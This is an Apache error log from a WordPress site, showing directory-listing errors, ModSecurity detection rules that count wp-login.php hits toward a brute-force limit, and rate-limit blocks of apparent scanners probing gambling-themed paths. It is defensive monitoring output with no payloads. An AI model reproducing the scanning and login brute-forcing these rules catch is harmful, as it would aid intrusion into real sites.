[Wed Feb 25 06:19:16.817885 2026] [autoindex:error] [pid 5619:tid 5638] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/style-engine/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:18.712593 2026] [autoindex:error] [pid 5619:tid 5640] [client 98.159.43.147:42477] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/compat3x/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:26.202907 2026] [autoindex:error] [pid 5620:tid 5698] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/Requests/src/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:39.140165 2026] [autoindex:error] [pid 5620:tid 5671] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/paragraph/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:48.973890 2026] [autoindex:error] [pid 5620:tid 5678] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/nux/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:51.278193 2026] [autoindex:error] [pid 5620:tid 5669] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/plugins/lists/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:19:51.409991 2026] [autoindex:error] [pid 5620:tid 5665] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/js/tinymce/skins/lightgray/img/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:20:50.874977 2026] [autoindex:error] [pid 5620:tid 5669] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:20:54.890800 2026] [autoindex:error] [pid 5620:tid 5668] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/blocks/social-links/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 06:21:25.076245 2026] [autoindex:error] [pid 5620:tid 5685] [client 98.159.43.122:34941] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/sodium_compat/src/Core/Curve25519/Ge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Feb 25 07:30:30.634662 2026] [:error] [pid 5556:tid 5594] [client 90.156.142.31:48752] [client 90.156.142.31] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 90.156.142.31, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ40lqOrYeaTyh7lGRVCwgAAAcc"]
[Wed Feb 25 07:42:32.033003 2026] [:error] [pid 60387:tid 60484] [client 139.59.226.59:12118] [client 139.59.226.59] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.226.59, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ43aIHL0QH7Sr13X0KyDwAAAow"]
[Wed Feb 25 10:43:04.202514 2026] [:error] [pid 60498:tid 60509] [client 34.73.73.46:45514] [client 34.73.73.46] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.73.73.46, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ5huCFCVhQ3ffus0uKxPgAAAsQ"]
[Wed Feb 25 12:29:37.256303 2026] [:error] [pid 37809:tid 37822] [client 43.159.143.187:55438] [client 43.159.143.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZ56sSIC419p2bqBCnB1xgAAAIs"]
[Wed Feb 25 12:40:48.496733 2026] [:error] [pid 60387:tid 60476] [client 211.169.178.4:5693] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 211.169.178.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ59UIHL0QH7Sr13X0LjhgAAAoQ"]
[Wed Feb 25 15:07:24.173073 2026] [:error] [pid 20659:tid 20719] [client 192.250.239.237:59858] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ6frD_THK_HtK-Q44LI0QAAAFg"]
[Wed Feb 25 15:21:00.638826 2026] [:error] [pid 60387:tid 60494] [client 147.135.215.173:47504] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aZ6i3IHL0QH7Sr13X0L93QAAApY"]
[Wed Feb 25 15:21:03.149470 2026] [:error] [pid 20659:tid 20700] [client 147.135.215.173:32978] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aZ6i3z_THK_HtK-Q44LQlwAAAEU"]
[Wed Feb 25 15:21:05.596617 2026] [:error] [pid 20659:tid 20704] [client 147.135.215.173:32998] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "aZ6i4T_THK_HtK-Q44LQoQAAAEk"]
[Wed Feb 25 15:21:08.036560 2026] [:error] [pid 5556:tid 5606] [client 147.135.215.173:33008] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aZ6i5KOrYeaTyh7lGRXeAgAAAdM"]
[Wed Feb 25 15:21:10.501654 2026] [:error] [pid 20659:tid 20702] [client 147.135.215.173:33018] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "aZ6i5j_THK_HtK-Q44LQuAAAAEc"]
[Wed Feb 25 15:21:12.840269 2026] [:error] [pid 60498:tid 60521] [client 147.135.215.173:43650] [client 147.135.215.173] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aZ6i6CFCVhQ3ffus0uLwjwAAAtA"]
[Wed Feb 25 15:28:41.245570 2026] [:error] [pid 5556:tid 5605] [client 124.156.179.141:33798] [client 124.156.179.141] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aZ6kqaOrYeaTyh7lGRXi_QAAAdI"]
[Wed Feb 25 15:29:06.917708 2026] [:error] [pid 5619:tid 5659] [client 155.133.142.66:41172] [client 155.133.142.66] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 155.133.142.66, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ6kwpFUzdv-0L_F4fsjkQAAAhg"]
[Wed Feb 25 16:52:07.316462 2026] [:error] [pid 60387:tid 60480] [client 157.230.98.69:34024] [client 157.230.98.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.98.69, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ64N4HL0QH7Sr13X0IZJQAAAog"]
[Wed Feb 25 17:38:11.201667 2026] [ssl:error] [pid 5556:tid 5589] [client 72.11.155.223:54158] AH02032: Hostname macfieldsvet.com.au provided via SNI and hostname vetstars.com.au provided via HTTP have no compatible SSL setup, referer: http://macfieldsvet.com.au/
[Wed Feb 25 18:30:47.382652 2026] [:error] [pid 60387:tid 60480] [client 116.193.73.128:16015] [client 116.193.73.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.193.73.128, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ7PV4HL0QH7Sr13X0JMOwAAAog"]
[Wed Feb 25 19:00:07.448304 2026] [:error] [pid 5556:tid 5598] [client 192.250.239.237:60058] [client 192.250.239.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 192.250.239.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ7WN6OrYeaTyh7lGRU0kgAAAcs"]
[Wed Feb 25 19:27:11.897688 2026] [:error] [pid 5619:tid 5655] [client 43.166.226.57:41360] [client 43.166.226.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZ7cj5FUzdv-0L_F4ftFxQAAAhQ"]
[Wed Feb 25 19:35:34.991977 2026] [:error] [pid 20659:tid 20698] [client 45.92.108.157:59042] [client 45.92.108.157] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.92.108.157, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ7ehj_THK_HtK-Q44IaoAAAAEM"]
[Wed Feb 25 20:57:03.567284 2026] [:error] [pid 60498:tid 60520] [client 167.99.185.123:58554] [client 167.99.185.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.99.185.123, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ7xnyFCVhQ3ffus0uIyiAAAAs8"]
[Wed Feb 25 21:02:04.591225 2026] [autoindex:error] [pid 20659:tid 20717] [client 139.59.24.163:59749] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Feb 25 21:22:41.656587 2026] [:error] [pid 60387:tid 60494] [client 45.87.221.196:52234] [client 45.87.221.196] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.87.221.196, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ73oYHL0QH7Sr13X0KJNQAAApY"]
[Wed Feb 25 21:27:48.064828 2026] [:error] [pid 20659:tid 20696] [client 54.36.100.158:57008] [client 54.36.100.158] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 54.36.100.158, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aZ741D_THK_HtK-Q44I3JQAAAEE"]
[Wed Feb 25 21:46:58.071150 2026] [:error] [pid 60500:tid 60599] [client 65.108.2.171:11590] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aZ79UvY9avxuno9KAT9b1AAAA00"]
[Wed Feb 25 21:47:00.567427 2026] [:error] [pid 20659:tid 20701] [client 65.108.2.171:11602] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aZ79VD_THK_HtK-Q44I89wAAAEY"]
[Wed Feb 25 21:47:02.942000 2026] [:error] [pid 20658:tid 20687] [client 65.108.2.171:11616] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aZ79Vuu8cohhPfsAIFkBdwAAABQ"]
[Wed Feb 25 21:47:05.440074 2026] [:error] [pid 60498:tid 60517] [client 65.108.2.171:55464] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aZ79WSFCVhQ3ffus0uI8-QAAAsw"]
[Wed Feb 25 21:47:07.814512 2026] [:error] [pid 5619:tid 5650] [client 65.108.2.171:55468] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aZ79W5FUzdv-0L_F4ftXxwAAAg8"]
[Wed Feb 25 21:47:10.405429 2026] [:error] [pid 60498:tid 60510] [client 65.108.2.171:55470] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aZ79XiFCVhQ3ffus0uI9AgAAAsU"]
[Wed Feb 25 21:47:13.039069 2026] [:error] [pid 60498:tid 60512] [client 65.108.2.171:55474] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aZ79YSFCVhQ3ffus0uI9BwAAAsc"]
[Wed Feb 25 21:47:15.636646 2026] [:error] [pid 60498:tid 60522] [client 65.108.2.171:56356] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aZ79YyFCVhQ3ffus0uI9CQAAAtE"]
[Wed Feb 25 21:47:18.305895 2026] [:error] [pid 20659:tid 20701] [client 65.108.2.171:56362] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aZ79Zj_THK_HtK-Q44I9GQAAAEY"]
[Wed Feb 25 21:47:23.510569 2026] [:error] [pid 5556:tid 5590] [client 65.108.2.171:56364] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZ79a6OrYeaTyh7lGRV_jgAAAcM"]
[Wed Feb 25 21:47:26.079745 2026] [:error] [pid 60387:tid 60480] [client 65.108.2.171:25830] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aZ79boHL0QH7Sr13X0KTxQAAAog"]
[Wed Feb 25 21:47:28.494818 2026] [:error] [pid 5619:tid 5643] [client 65.108.2.171:25834] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aZ79cJFUzdv-0L_F4ftX0wAAAgg"]
[Wed Feb 25 21:47:30.903268 2026] [:error] [pid 60387:tid 60481] [client 65.108.2.171:25846] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aZ79coHL0QH7Sr13X0KTzQAAAok"]
[Wed Feb 25 21:47:33.407324 2026] [:error] [pid 20659:tid 20708] [client 65.108.2.171:25858] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aZ79dT_THK_HtK-Q44I9UgAAAE0"]
[Wed Feb 25 21:47:36.079641 2026] [:error] [pid 5556:tid 5607] [client 65.108.2.171:35768] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aZ79eKOrYeaTyh7lGRV_pQAAAdQ"]
[Wed Feb 25 21:47:38.557177 2026] [:error] [pid 60387:tid 60490] [client 65.108.2.171:35780] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aZ79eoHL0QH7Sr13X0KT1wAAApI"]
[Wed Feb 25 21:47:41.092929 2026] [:error] [pid 5556:tid 5590] [client 65.108.2.171:35786] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aZ79faOrYeaTyh7lGRV_qQAAAcM"]
[Wed Feb 25 21:47:43.638848 2026] [:error] [pid 60500:tid 60598] [client 65.108.2.171:35796] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kingkong%20joker.aspx"] [unique_id "aZ79f_Y9avxuno9KAT9b6QAAA0w"]
[Wed Feb 25 21:47:46.193439 2026] [:error] [pid 5619:tid 5659] [client 65.108.2.171:48978] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lava%20slot.aspx"] [unique_id "aZ79gpFUzdv-0L_F4ftX2QAAAhg"]
[Wed Feb 25 21:47:48.703143 2026] [:error] [pid 60498:tid 60511] [client 65.108.2.171:48982] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "aZ79hCFCVhQ3ffus0uI9KgAAAsY"]
[Wed Feb 25 21:47:51.079313 2026] [:error] [pid 5556:tid 5610] [client 65.108.2.171:48996] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aZ79h6OrYeaTyh7lGRV_sgAAAdc"]
[Wed Feb 25 21:48:48.686238 2026] [:error] [pid 5556:tid 5600] [client 65.108.2.171:25510] [client 65.108.2.171] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "aZ79wKOrYeaTyh7lGRWAbgAAAc0"]
